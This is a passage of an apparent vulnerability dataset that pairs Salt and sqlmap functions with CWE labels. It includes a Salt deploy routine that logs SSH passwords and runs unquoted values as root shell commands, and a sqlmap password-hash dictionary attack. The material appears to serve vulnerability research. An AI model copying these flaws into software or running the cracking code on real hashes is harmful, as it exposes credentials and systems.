                        script_env = {'BS_KEEP_TEMP_FILES': '1'}
                    else:
                        script_env['BS_KEEP_TEMP_FILES'] = '1'

                if script_env:
                    if not isinstance(script_env, dict):
                        raise SaltCloudSystemExit(
                            'The \'script_env\' configuration setting NEEDS '
                            'to be a dictionary not a {0}'.format(
                                type(script_env)
                            )
                        )
                    environ_script_contents = ['#!/bin/sh']
                    for key, value in script_env.iteritems():
                        environ_script_contents.append(
                            'setenv {0} \'{1}\' >/dev/null 2>&1 || '
                            'export {0}=\'{1}\''.format(key, value)
                        )
                    environ_script_contents.append(deploy_command)

                    # Upload our environ setter wrapper
                    scp_file(
                        '/tmp/environ-deploy-wrapper.sh',
                        '\n'.join(environ_script_contents),
                        kwargs
                    )
                    root_cmd(
                        'chmod +x /tmp/environ-deploy-wrapper.sh',
                        tty, sudo, **kwargs
                    )
                    # The deploy command is now our wrapper
                    deploy_command = '/tmp/environ-deploy-wrapper.sh'

                if root_cmd(deploy_command, tty, sudo, **kwargs) != 0:
                    raise SaltCloudSystemExit(
                        'Executing the command {0!r} failed'.format(
                            deploy_command
                        )
                    )
                log.debug('Executed command {0!r}'.format(deploy_command))

                # Remove the deploy script
                if not keep_tmp:
                    root_cmd('rm /tmp/deploy.sh', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/deploy.sh')
                    if script_env:
                        root_cmd(
                            'rm /tmp/environ-deploy-wrapper.sh',
                            tty, sudo, **kwargs
                        )
                        log.debug('Removed /tmp/environ-deploy-wrapper.sh')

            if keep_tmp:
                log.debug('Not removing deployment files from /tmp/')

            # Remove minion configuration
            if not keep_tmp:
                if minion_pub:
                    root_cmd('rm /tmp/minion.pub', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/minion.pub')
                if minion_pem:
                    root_cmd('rm /tmp/minion.pem', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/minion.pem')
                if minion_conf:
                    root_cmd('rm /tmp/grains', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/grains')
                    root_cmd('rm /tmp/minion', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/minion')

                # Remove master configuration
                if master_pub:
                    root_cmd('rm /tmp/master.pub', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/master.pub')
                if master_pem:
                    root_cmd('rm /tmp/master.pem', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/master.pem')
                if master_conf:
                    root_cmd('rm /tmp/master', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/master')

                # Remove pre-seed keys directory
                if preseed_minion_keys is not None:
                    root_cmd(
                        'rm -rf {0}'.format(
                            preseed_minion_keys_tempdir
                        ), tty, sudo, **kwargs
                    )
                    log.debug(
                        'Removed {0}'.format(preseed_minion_keys_tempdir)
                    )

            if start_action:
                queuereturn = queue.get()
                process.join()
                if queuereturn and start_action:
                    #client = salt.client.LocalClient(conf_file)
                    #output = client.cmd_iter(
                    #    host, 'state.highstate', timeout=timeout
                    #)
                    #for line in output:
                    #    print(line)
                    log.info(
                        'Executing {0} on the salt-minion'.format(
                            start_action
                        )
                    )
                    root_cmd(
                        'salt-call {0}'.format(start_action),
                        tty, sudo, **kwargs
                    )
                    log.info(
                        'Finished executing {0} on the salt-minion'.format(
                            start_action
                        )
                    )
            #Fire deploy action
            event = salt.utils.event.SaltEvent(
                'master',
                sock_dir
            )
            event.fire_event(
                '{0} has been created at {1}'.format(name, host), 'salt-cloud'
            )
            return True
    return False",CWE-20,saltstack/salt,a75da999b52b71f906a061229df39fd5bb9e940e,"def deploy_script(host, port=22, timeout=900, username='root',
                  password=None, key_filename=None, script=None,
                  deploy_command='/tmp/deploy.sh', sudo=False, tty=None,
                  name=None, pub_key=None, sock_dir=None, provider=None,
                  conf_file=None, start_action=None, make_master=False,
                  master_pub=None, master_pem=None, master_conf=None,
                  minion_pub=None, minion_pem=None, minion_conf=None,
                  keep_tmp=False, script_args=None, script_env=None,
                  ssh_timeout=15, make_syndic=False, make_minion=True,
                  display_ssh_output=True, preseed_minion_keys=None):
    '''
    Copy a deploy script to a remote server, execute it, and remove it
    '''
    if key_filename is not None and not os.path.isfile(key_filename):
        raise SaltCloudConfigError(
            'The defined key_filename {0!r} does not exist'.format(
                key_filename
            )
        )
    starttime = time.mktime(time.localtime())
    log.debug('Deploying {0} at {1}'.format(host, starttime))
    if wait_for_ssh(host=host, port=port, timeout=timeout):
        log.debug('SSH port {0} on {1} is available'.format(port, host))
        newtimeout = timeout - (time.mktime(time.localtime()) - starttime)
        if wait_for_passwd(host, port=port, username=username,
                           password=password, key_filename=key_filename,
                           ssh_timeout=ssh_timeout,
                           display_ssh_output=display_ssh_output):
            log.debug(
                'Logging into {0}:{1} as {2}'.format(
                    host, port, username
                )
            )
            newtimeout = timeout - (time.mktime(time.localtime()) - starttime)
            kwargs = {'hostname': host,
                      'port': port,
                      'username': username,
                      'timeout': ssh_timeout,
                      'display_ssh_output': display_ssh_output}
            if key_filename:
                log.debug('Using {0} as the key_filename'.format(key_filename))
                kwargs['key_filename'] = key_filename
            elif password:
                log.debug('Using {0} as the password'.format(password))
                kwargs['password'] = password

            #FIXME: this try-except doesn't make sense! Something is missing...
            try:
                log.debug('SSH connection to {0} successful'.format(host))
            except Exception as exc:
                log.error(
                    'There was an error in deploy_script: {0}'.format(exc)
                )

            if provider == 'ibmsce':
                subsys_command = (
                    'sed -i ""s/#Subsystem/Subsystem/"" '
                    '/etc/ssh/sshd_config'
                )
                root_cmd(subsys_command, tty, sudo, **kwargs)
                root_cmd('service sshd restart', tty, sudo, **kwargs)

            # Minion configuration
            if minion_pem:
                scp_file('/tmp/minion.pem', minion_pem, kwargs)
                root_cmd('chmod 600 /tmp/minion.pem', tty, sudo, **kwargs)

            if minion_pub:
                scp_file('/tmp/minion.pub', minion_pub, kwargs)

            if minion_conf:
                if not isinstance(minion_conf, dict):
                    # Let's not just fail regarding this change, specially
                    # since we can handle it
                    raise DeprecationWarning(
                        '`saltcloud.utils.deploy_script now only accepts '
                        'dictionaries for it\'s `minion_conf` parameter. '
                        'Loading YAML...'
                    )
                    minion_conf = yaml.load(minion_conf)
                minion_grains = minion_conf.pop('grains', {})
                if minion_grains:
                    scp_file(
                        '/tmp/grains',
                        salt_config_to_yaml(minion_grains),
                        kwargs
                    )
                scp_file(
                    '/tmp/minion',
                    salt_config_to_yaml(minion_conf),
                    kwargs
                )

            # Master configuration
            if master_pem:
                scp_file('/tmp/master.pem', master_pem, kwargs)
                root_cmd('chmod 600 /tmp/master.pem', tty, sudo, **kwargs)

            if master_pub:
                scp_file('/tmp/master.pub', master_pub, kwargs)

            if master_conf:
                if not isinstance(master_conf, dict):
                    # Let's not just fail regarding this change, specially
                    # since we can handle it
                    raise DeprecationWarning(
                        '`saltcloud.utils.deploy_script now only accepts '
                        'dictionaries for it\'s `master_conf` parameter. '
                        'Loading from YAML ...'
                    )
                    master_conf = yaml.load(master_conf)

                scp_file(
                    '/tmp/master',
                    salt_config_to_yaml(master_conf),
                    kwargs
                )

            # XXX: We need to make these paths configurable
            preseed_minion_keys_tempdir = '/tmp/preseed-minion-keys'
            if preseed_minion_keys is not None:
                # Create remote temp dir
                root_cmd(
                    'mkdir ""{0}""'.format(preseed_minion_keys_tempdir),
                    tty, sudo, **kwargs
                )
                root_cmd(
                    'chmod 700 ""{0}""'.format(preseed_minion_keys_tempdir),
                    tty, sudo, **kwargs
                )
                if kwargs['username'] != 'root':
                    root_cmd(
                        'chown {0} ""{1}""'.format(
                            kwargs['username'], preseed_minion_keys_tempdir
                        ),
                        tty, sudo, **kwargs
                    )

                # Copy pre-seed minion keys
                for minion_id, minion_key in preseed_minion_keys.iteritems():
                    rpath = os.path.join(
                        preseed_minion_keys_tempdir, minion_id
                    )
                    scp_file(rpath, minion_key, kwargs)

                if kwargs['username'] != 'root':
                    root_cmd(
                        'chown -R root ""{0}""'.format(
                            preseed_minion_keys_tempdir
                        ),
                        tty, sudo, **kwargs
                    )

            # The actual deploy script
            if script:
                scp_file('/tmp/deploy.sh', script, kwargs)
                root_cmd('chmod +x /tmp/deploy.sh', tty, sudo, **kwargs)

            newtimeout = timeout - (time.mktime(time.localtime()) - starttime)
            queue = None
            process = None
            # Consider this code experimental. It causes Salt Cloud to wait
            # for the minion to check in, and then fire a startup event.
            if start_action:
                queue = multiprocessing.Queue()
                process = multiprocessing.Process(
                    target=check_auth, kwargs=dict(
                        name=name, pub_key=pub_key, sock_dir=sock_dir,
                        timeout=newtimeout, queue=queue
                    )
                )
                log.debug('Starting new process to wait for salt-minion')
                process.start()

            # Run the deploy script
            if script:
                if 'bootstrap-salt' in script:
                    deploy_command += ' -c /tmp/'
                    if make_syndic is True:
                        deploy_command += ' -S'
                    if make_master is True:
                        deploy_command += ' -M'
                    if make_minion is False:
                        deploy_command += ' -N'
                    if preseed_minion_keys is not None:
                        deploy_command += ' -k {0}'.format(
                            preseed_minion_keys_tempdir
                        )
                if script_args:
                    deploy_command += ' {0}'.format(script_args)

                if keep_tmp:
                    # Pass the proper environment variable to the bootstrap
                    # script to keep temporary files around
                    if not script_env:
                        script_env = {'BS_KEEP_TEMP_FILES': '1'}
                    else:
                        script_env['BS_KEEP_TEMP_FILES'] = '1'

                if script_env:
                    if not isinstance(script_env, dict):
                        raise SaltCloudSystemExit(
                            'The \'script_env\' configuration setting NEEDS '
                            'to be a dictionary not a {0}'.format(
                                type(script_env)
                            )
                        )
                    environ_script_contents = ['#!/bin/sh']
                    for key, value in script_env.iteritems():
                        environ_script_contents.append(
                            'setenv {0} \'{1}\' >/dev/null 2>&1 || '
                            'export {0}=\'{1}\''.format(key, value)
                        )
                    environ_script_contents.append(deploy_command)

                    # Upload our environ setter wrapper
                    scp_file(
                        '/tmp/environ-deploy-wrapper.sh',
                        '\n'.join(environ_script_contents),
                        kwargs
                    )
                    root_cmd(
                        'chmod +x /tmp/environ-deploy-wrapper.sh',
                        tty, sudo, **kwargs
                    )
                    # The deploy command is now our wrapper
                    deploy_command = '/tmp/environ-deploy-wrapper.sh'

                if root_cmd(deploy_command, tty, sudo, **kwargs) != 0:
                    raise SaltCloudSystemExit(
                        'Executing the command {0!r} failed'.format(
                            deploy_command
                        )
                    )
                log.debug('Executed command {0!r}'.format(deploy_command))

                # Remove the deploy script
                if not keep_tmp:
                    root_cmd('rm /tmp/deploy.sh', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/deploy.sh')
                    if script_env:
                        root_cmd(
                            'rm /tmp/environ-deploy-wrapper.sh',
                            tty, sudo, **kwargs
                        )
                        log.debug('Removed /tmp/environ-deploy-wrapper.sh')

            if keep_tmp:
                log.debug('Not removing deployment files from /tmp/')

            # Remove minion configuration
            if not keep_tmp:
                if minion_pub:
                    root_cmd('rm /tmp/minion.pub', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/minion.pub')
                if minion_pem:
                    root_cmd('rm /tmp/minion.pem', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/minion.pem')
                if minion_conf:
                    root_cmd('rm /tmp/grains', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/grains')
                    root_cmd('rm /tmp/minion', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/minion')

                # Remove master configuration
                if master_pub:
                    root_cmd('rm /tmp/master.pub', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/master.pub')
                if master_pem:
                    root_cmd('rm /tmp/master.pem', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/master.pem')
                if master_conf:
                    root_cmd('rm /tmp/master', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/master')

                # Remove pre-seed keys directory
                if preseed_minion_keys is not None:
                    root_cmd(
                        'rm -rf {0}'.format(
                            preseed_minion_keys_tempdir
                        ), tty, sudo, **kwargs
                    )
                    log.debug(
                        'Removed {0}'.format(preseed_minion_keys_tempdir)
                    )

            if start_action:
                queuereturn = queue.get()
                process.join()
                if queuereturn and start_action:
                    #client = salt.client.LocalClient(conf_file)
                    #output = client.cmd_iter(
                    #    host, 'state.highstate', timeout=timeout
                    #)
                    #for line in output:
                    #    print(line)
                    log.info(
                        'Executing {0} on the salt-minion'.format(
                            start_action
                        )
                    )
                    root_cmd(
                        'salt-call {0}'.format(start_action),
                        tty, sudo, **kwargs
                    )
                    log.info(
                        'Finished executing {0} on the salt-minion'.format(
                            start_action
                        )
                    )
            #Fire deploy action
            event = salt.utils.event.SaltEvent(
                'master',
                sock_dir
            )
            event.fire_event(
                '{0} has been created at {1}'.format(name, host), 'salt-cloud'
            )
            return True
    return False"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/utils/hash.py,0,"def dictionaryAttack(attack_dict):
    hash_regexes = []
    results = []

    for (_, hashes) in attack_dict.items():
        for hash_ in hashes:
            if not hash_:
                continue

            hash_ = hash_.split()[0]
            regex = hashRecognition(hash_)

            if regex and regex not in hash_regexes:
                hash_regexes.append(regex)
                infoMsg = ""using hash method: '%s'"" % __functions__[regex].func_name
                logger.info(infoMsg)

    for hash_regex in hash_regexes:
        attack_info = []

        for (user, hashes) in attack_dict.items():
            for hash_ in hashes:
                if not hash_:
                    continue

                hash_ = hash_.split()[0]

                if re.match(hash_regex, hash_):
                    hash_ = hash_.lower()

                    if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC):
                        attack_info.append([(user, hash_), {}])

                    elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES):
                        attack_info.append([(user, hash_), {'username': user}])

                    elif hash_regex in (HASH.ORACLE):
                        attack_info.append([(user, hash_), {'salt': hash_[-20:]}])

                    elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD):
                        attack_info.append([(user, hash_), {'salt': hash_[6:14]}])

        if not kb.wordlist:
            if hash_regex == HASH.ORACLE_OLD: #it's the slowest of all methods hence smaller default dict
                message = ""what's the dictionary's location? [%s]"" % paths.ORACLE_DEFAULT_PASSWD
                dictpath = readInput(message, default=paths.ORACLE_DEFAULT_PASSWD)

            else:
                message = ""what's the dictionary's location? [%s]"" % paths.WORDLIST
                dictpath = readInput(message, default=paths.WORDLIST)

            checkFile(dictpath)

            infoMsg = ""loading dictionary from: '%s'"" % dictpath
            logger.info(infoMsg)
            kb.wordlist = getFileItems(dictpath, None, False)

        message = ""do you want to use common password suffixes? (slow!) [y/N] ""
        test = readInput(message, default=""N"")

        suffix_list = [""""]
        if test[0] in (""y"", ""Y""):
            suffix_list += COMMON_PASSWORD_SUFFIXES

        infoMsg = ""starting dictionary attack (%s)"" % __functions__[hash_regex].func_name
        logger.info(infoMsg)

        for item in attack_info:
            ((user, _), _) = item
            kb.wordlist.append(getUnicode(user))

        length = len(kb.wordlist) * len(suffix_list)

        if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC):
            count = 0

            for suffix in suffix_list:
                if not attack_info:
                    break

                for word in kb.wordlist:
                    if not attack_info:
                        break

                    count += 1

                    if suffix:
                        word = word + suffix

                    try:
                        current = __functions__[hash_regex](password = word, uppercase = False)

                        for item in attack_info:
                            ((user, hash_), _) = item

                            if hash_ == current:
                                results.append((user, hash_, word))
                                clearConsoleLine()

                                infoMsg = ""[%s] [INFO] found: '%s'"" % (time.strftime(""%X""), word)

                                if user and not user.startswith(DUMMY_USER_PREFIX):
                                    infoMsg += "" for user: '%s'\n"" % user
                                else:
                                    infoMsg += "" for hash: '%s'\n"" % hash_

                                dataToStdout(infoMsg, True)

                                attack_info.remove(item)

                            elif count % 1117 == 0 or count == length or hash_regex in (HASH.ORACLE_OLD):
                                status = '%d/%d words (%d%s)' % (count, length, round(100.0*count/length), '%')
                                dataToStdout(""\r[%s] [INFO] %s"" % (time.strftime(""%X""), status))

                    except KeyboardInterrupt:
                        raise

                    except:
                        warnMsg = ""there was a problem while hashing entry: %s. "" % repr(word)
                        warnMsg += ""Please report by e-mail to sqlmap-users@lists.sourceforge.net.""
                        logger.critical(warnMsg)

            clearConsoleLine()

        else:
            for ((user, hash_), kwargs) in attack_info:
                count = 0
                found = False

                for suffix in suffix_list:
                    if found:
                        break

                    for word in kb.wordlist:
                        current = __functions__[hash_regex](password = word, uppercase = False, **kwargs)
                        count += 1

                        if suffix:
                            word = word + suffix

                        try:
                            if hash_ == current:
                                if regex == HASH.ORACLE_OLD: #only for cosmetic purposes
                                    word = word.upper()
                                results.append((user, hash_, word))
                                clearConsoleLine()

                                infoMsg = ""[%s] [INFO] found: '%s'"" % (time.strftime(""%X""), word)

                                if user and not user.startswith(DUMMY_USER_PREFIX):
                                    infoMsg += "" for user: '%s'\n"" % user
                                else:
                                    infoMsg += "" for hash: '%s'\n"" % hash_

                                dataToStdout(infoMsg, True)

                                found = True
                                break

                            elif count % 1117 == 0 or count == length or hash_regex in (HASH.ORACLE_OLD):
                                status = '%d/%d words (%d%s) (user: %s)' % (count, length, round(100.0*count/length), '%', user)
                                dataToStdout(""\r[%s] [INFO] %s"" % (time.strftime(""%X""), status))

                        except KeyboardInterrupt:
                            raise

                        except:
                            warnMsg = ""there was a problem while hashing entry: %s. "" % repr(word)
                            warnMsg += ""Please report by e-mail to sqlmap-users@lists.sourceforge.net.""
                            logger.critical(warnMsg)

                clearConsoleLine()

    if len(hash_regexes) == 0:
        warnMsg  = ""unknown hash format. ""
        warnMsg += ""Please report by e-mail to sqlmap-users@lists.sourceforge.net.""
        logger.warn(warnMsg)

    if len(results) == 0:
        warnMsg  = ""no clear password(s) found""
        logger.warn(warnMsg)

    return results",,sqlmapproject/sqlmap,99a3a3b89c7b87280159d62b793eaa24c90ed3a6,"def dictionaryAttack(attack_dict):
    hash_regexes = []
    results = []

    for (_, hashes) in attack_dict.items():
        for hash_ in hashes:
            if not hash_:
                continue

            hash_ = hash_.split()[0]
            regex = hashRecognition(hash_)

            if regex and regex not in hash_regexes:
                hash_regexes.append(regex)
                infoMsg = ""using hash method: '%s'"" % __functions__[regex].func_name
                logger.info(infoMsg)

    for hash_regex in hash_regexes:
        attack_info = []

        for (user, hashes) in attack_dict.items():
            for hash_ in hashes:
                if not hash_:
                    continue

                hash_ = hash_.split()[0]

                if re.match(hash_regex, hash_):
                    hash_ = hash_.lower()

                    if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC):
                        attack_info.append([(user, hash_), {}])

                    elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES):
                        attack_info.append([(user, hash_), {'username': user}])

                    elif hash_regex in (HASH.ORACLE):
                        attack_info.append([(user, hash_), {'salt': hash_[-20:]}])

                    elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD):
                        attack_info.append([(user, hash_), {'salt': hash_[6:14]}])

        if not kb.wordlist:
            if hash_regex == HASH.ORACLE_OLD: #it's the slowest of all methods hence smaller default dict
                message = ""what's the dictionary's location? [%s]"" % paths.ORACLE_DEFAULT_PASSWD
                dictpath = readInput(message, default=paths.ORACLE_DEFAULT_PASSWD)

            else:
                message = ""what's the dictionary's location? [%s]"" % paths.WORDLIST
                dictpath = readInput(message, default=paths.WORDLIST)

            checkFile(dictpath)

            infoMsg = ""loading dictionary from: '%s'"" % dictpath
            logger.info(infoMsg)
            kb.wordlist = getFileItems(dictpath, None, False)

        message = ""do you want to use common password suffixes? (slow!) [y/N] ""
        test = readInput(message, default=""N"")

        suffix_list = [""""]
        if test[0] in (""y"", ""Y""):
            suffix_list += COMMON_PASSWORD_SUFFIXES

        infoMsg = ""starting dictionary attack (%s)"" % __functions__[hash_regex].func_name
        logger.info(infoMsg)

        for item in attack_info:
            ((user, _), _) = item
            kb.wordlist.append(getUnicode(user))

        length = len(kb.wordlist) * len(suffix_list)

        if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC):
            count = 0

            for suffix in suffix_list:
                for word in kb.wordlist:
                    count += 1

                    if suffix:
                        word = word + suffix

                    try:
                        current = __functions__[hash_regex](password = word, uppercase = False)

                        for item in attack_info:
                            ((user, hash_), _) = item

                            if hash_ == current:
                                results.append((user, hash_, word))
                                clearConsoleLine()

                                infoMsg = ""[%s] [INFO] found: '%s'"" % (time.strftime(""%X""), word)

                                if user and not user.startswith(DUMMY_USER_PREFIX):
                                    infoMsg += "" for user: '%s'\n"" % user
                                else:
                                    infoMsg += "" for hash: '%s'\n"" % hash_

                                dataToStdout(infoMsg, True)

                                attack_info.remove(item)

                            elif count % 1117 == 0 or count == length or hash_regex in (HASH.ORACLE_OLD):
                                status = '%d/%d words (%d%s)' % (count, length, round(100.0*count/length), '%')
                                dataToStdout(""\r[%s] [INFO] %s"" % (time.strftime(""%X""), status))

                    except KeyboardInterrupt:
                        raise

                    except:
                        warnMsg = ""there was a problem while hashing entry: %s. "" % repr(word)
                        warnMsg += ""Please report by e-mail to sqlmap-users@lists.sourceforge.net.""
                        logger.critical(warnMsg)

            clearConsoleLine()

        else:
            for ((user, hash_), kwargs) in attack_info:
                count = 0
                found = False

                for suffix in suffix_list:
                    if found:
                        break

                    for word in kb.wordlist:
                        current = __functions__[hash_regex](password = word, uppercase = False, **kwargs)
                        count += 1

                        if suffix:
                            word = word + suffix

                        try:
                            if hash_ == current:
                                if regex == HASH.ORACLE_OLD: #only for cosmetic purposes
                                    word = word.upper()
                                results.append((user, hash_, word))
                                clearConsoleLine()

                                infoMsg = ""[%s] [INFO] found: '%s'"" % (time.strftime(""%X""), word)

                                if user and not user.startswith(DUMMY_USER_PREFIX):
                                    infoMsg += "" for user: '%s'\n"" % user
                                else:
                                    infoMsg += "" for hash: '%s'\n"" % hash_

                                dataToStdout(infoMsg, True)

                                found = True
                                break

                            elif count % 1117 == 0 or count == length or hash_regex in (HASH.ORACLE_OLD):
                                status = '%d/%d words (%d%s) (user: %s)' % (count, length, round(100.0*count/length), '%', user)
                                dataToStdout(""\r[%s] [INFO] %s"" % (time.strftime(""%X""), status))

                        except KeyboardInterrupt:
                            raise

                        except:
                            warnMsg = ""there was a problem while hashing entry: %s. "" % repr(word)
                            warnMsg += ""Please report by e-mail to sqlmap-users@lists.sourceforge.net.""
                            logger.critical(warnMsg)

                clearConsoleLine()

    if len(hash_regexes) == 0:
        warnMsg  = ""unknown hash format. ""
        warnMsg += ""Please report by e-mail to sqlmap-users@lists.sourceforge.net.""
        logger.warn(warnMsg)

    if len(results) == 0:
        warnMsg  = ""no clear password(s) found""
        logger.warn(warnMsg)

    return results"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/inspector.py,0,"def build(format='qcow2', path='/tmp/'):
    '''
    Build an image from a current system description.
    The image is a system image can be output in bootable ISO or QCOW2 formats.

    Node uses the image building library Kiwi to perform the actual build.

    Parameters:

    * **format**: Specifies output format: ""qcow2"" or ""iso. Default: `qcow2`.
    * **path**: Specifies output path where to store built image. Default: `/tmp`.

    CLI Example:

    .. code-block:: bash

        salt myminion inspector.build
        salt myminion inspector.build format=iso path=/opt/builds/
    '''
    try:
        _(""collector"").Inspector(cachedir=__opts__['cachedir'],
                                 piddir=os.path.dirname(__opts__['pidfile']),
                                 pidfilename='').reuse_snapshot().build(format=format, path=path)
    except InspectorKiwiProcessorException as ex:
        raise CommandExecutionError(ex)
    except Exception as ex:
        log.error(_get_error_message(ex))
        raise Exception(ex)",,saltstack/salt,e70904c48012532c508b1a6db1b189b2dd1b23c7,"def build(format='qcow2', path='/tmp/'):
    '''
    Build an image from a current system description.
    The image is a system image can be output in bootable ISO or QCOW2 formats.

    Node uses the image building library Kiwi to perform the actual build.

    Parameters:

    * **format**: Specifies output format: ""qcow2"" or ""iso. Default: `qcow2`.
    * **path**: Specifies output path where to store built image. Default: `/tmp`.

    CLI Example:

    .. code-block:: bash:

        salt myminion inspector.build
        salt myminion inspector.build format=iso path=/opt/builds/
    '''
    try:
        _(""collector"").Inspector(cachedir=__opts__['cachedir'],
                                 piddir=os.path.dirname(__opts__['pidfile']),
                                 pidfilename='').reuse_snapshot().build(format=format, path=path)
    except InspectorKiwiProcessorException as ex:
        raise CommandExecutionError(ex)
    except Exception as ex:
        log.error(_get_error_message(ex))
        raise Exception(ex)"
,UNKNOWN,UNKNOWN,tools/precommit/workflows.py,1,"def generate_workflows(ctx: Context):
    """"""
    Generate GitHub Actions Workflows
    """"""
    workflows = {
        ""CI"": {
            ""template"": ""ci.yml"",
        },
        ""Nightly"": {
            ""template"": ""nightly.yml"",
        },
        ""Stage Release"": {
            ""slug"": ""staging"",
            ""template"": ""staging.yml"",
            ""includes"": {
                ""test-pkg-downloads"": True,
            },
        },
        ""Scheduled"": {
            ""template"": ""scheduled.yml"",
        },
        ""Release"": {
            ""template"": ""release.yml"",
            ""includes"": {
                ""pre-commit"": False,
                ""lint"": False,
                ""pkg-tests"": False,
                ""salt-tests"": False,
                ""test-pkg-downloads"": True,
            },
        },
        ""Test Package Downloads"": {
            ""template"": ""test-package-downloads-action.yml"",
        },
    }
    test_salt_listing = {
        ""linux"": [
            (""almalinux-8"", ""Alma Linux 8"", ""x86_64"", ""no-fips""),
            (""almalinux-9"", ""Alma Linux 9"", ""x86_64"", ""no-fips""),
            (""amazonlinux-2"", ""Amazon Linux 2"", ""x86_64"", ""no-fips""),
            (""amazonlinux-2-arm64"", ""Amazon Linux 2 Arm64"", ""aarch64"", ""no-fips""),
            (""amazonlinux-2023"", ""Amazon Linux 2023"", ""x86_64"", ""no-fips""),
            (""amazonlinux-2023-arm64"", ""Amazon Linux 2023 Arm64"", ""aarch64"", ""no-fips""),
            (""archlinux-lts"", ""Arch Linux LTS"", ""x86_64"", ""no-fips""),
            (""centos-7"", ""CentOS 7"", ""x86_64"", ""no-fips""),
            (""centosstream-8"", ""CentOS Stream 8"", ""x86_64"", ""no-fips""),
            (""centosstream-9"", ""CentOS Stream 9"", ""x86_64"", ""no-fips""),
            (""debian-10"", ""Debian 10"", ""x86_64"", ""no-fips""),
            (""debian-11"", ""Debian 11"", ""x86_64"", ""no-fips""),
            (""debian-11-arm64"", ""Debian 11 Arm64"", ""aarch64"", ""no-fips""),
            (""debian-12"", ""Debian 12"", ""x86_64"", ""no-fips""),
            (""debian-12-arm64"", ""Debian 12 Arm64"", ""aarch64"", ""no-fips""),
            (""fedora-37"", ""Fedora 37"", ""x86_64"", ""no-fips""),
            (""fedora-38"", ""Fedora 38"", ""x86_64"", ""no-fips""),
            (""opensuse-15"", ""Opensuse 15"", ""x86_64"", ""no-fips""),
            (""photonos-3"", ""Photon OS 3"", ""x86_64"", ""no-fips""),
            (""photonos-3-arm64"", ""Photon OS 3 Arm64"", ""aarch64"", ""no-fips""),
            (""photonos-4"", ""Photon OS 4"", ""x86_64"", ""fips""),
            (""photonos-4-arm64"", ""Photon OS 4 Arm64"", ""aarch64"", ""fips""),
            (""photonos-5"", ""Photon OS 5"", ""x86_64"", ""fips""),
            (""photonos-5-arm64"", ""Photon OS 5 Arm64"", ""aarch64"", ""fips""),
            (""ubuntu-20.04"", ""Ubuntu 20.04"", ""x86_64"", ""no-fips""),
            (""ubuntu-20.04-arm64"", ""Ubuntu 20.04 Arm64"", ""aarch64"", ""no-fips""),
            (""ubuntu-22.04"", ""Ubuntu 22.04"", ""x86_64"", ""no-fips""),
            (""ubuntu-22.04-arm64"", ""Ubuntu 22.04 Arm64"", ""aarch64"", ""no-fips""),
        ],
        ""macos"": [
            (""macos-12"", ""macOS 12"", ""x86_64""),
            (""macos-13"", ""macOS 13"", ""x86_64""),
            (""macos-13-xlarge"", ""macOS 13 Arm64"", ""aarch64""),
        ],
        ""windows"": [
            (""windows-2016"", ""Windows 2016"", ""amd64""),
            (""windows-2019"", ""Windows 2019"", ""amd64""),
            (""windows-2022"", ""Windows 2022"", ""amd64""),
        ],
    }

    test_salt_pkg_listing = {
        ""linux"": [
            (""amazonlinux-2"", ""Amazon Linux 2"", ""x86_64"", ""rpm"", ""no-fips""),
            (
                ""amazonlinux-2-arm64"",
                ""Amazon Linux 2 Arm64"",
                ""aarch64"",
                ""rpm"",
                ""no-fips"",
            ),
            (""amazonlinux-2023"", ""Amazon Linux 2023"", ""x86_64"", ""rpm"", ""no-fips""),
            (
                ""amazonlinux-2023-arm64"",
                ""Amazon Linux 2023 Arm64"",
                ""aarch64"",
                ""rpm"",
                ""no-fips"",
            ),
            (""centos-7"", ""CentOS 7"", ""x86_64"", ""rpm"", ""no-fips""),
            (""centosstream-8"", ""CentOS Stream 8"", ""x86_64"", ""rpm"", ""no-fips""),
            (""centosstream-9"", ""CentOS Stream 9"", ""x86_64"", ""rpm"", ""no-fips""),
            (
                ""centosstream-9-arm64"",
                ""CentOS Stream 9 Arm64"",
                ""aarch64"",
                ""rpm"",
                ""no-fips"",
            ),
            (""debian-10"", ""Debian 10"", ""x86_64"", ""deb"", ""no-fips""),
            (""debian-11"", ""Debian 11"", ""x86_64"", ""deb"", ""no-fips""),
            (""debian-11-arm64"", ""Debian 11 Arm64"", ""aarch64"", ""deb"", ""no-fips""),
            (""debian-12"", ""Debian 12"", ""x86_64"", ""deb"", ""no-fips""),
            (""debian-12-arm64"", ""Debian 12 Arm64"", ""aarch64"", ""deb"", ""no-fips""),
            (""photonos-3"", ""Photon OS 3"", ""x86_64"", ""rpm"", ""no-fips""),
            (""photonos-3-arm64"", ""Photon OS 3 Arm64"", ""aarch64"", ""rpm"", ""no-fips""),
            (""photonos-4"", ""Photon OS 4"", ""x86_64"", ""rpm"", ""fips""),
            (""photonos-4-arm64"", ""Photon OS 4 Arm64"", ""aarch64"", ""rpm"", ""fips""),
            (""photonos-5"", ""Photon OS 5"", ""x86_64"", ""rpm"", ""fips""),
            (""photonos-5-arm64"", ""Photon OS 5 Arm64"", ""aarch64"", ""rpm"", ""fips""),
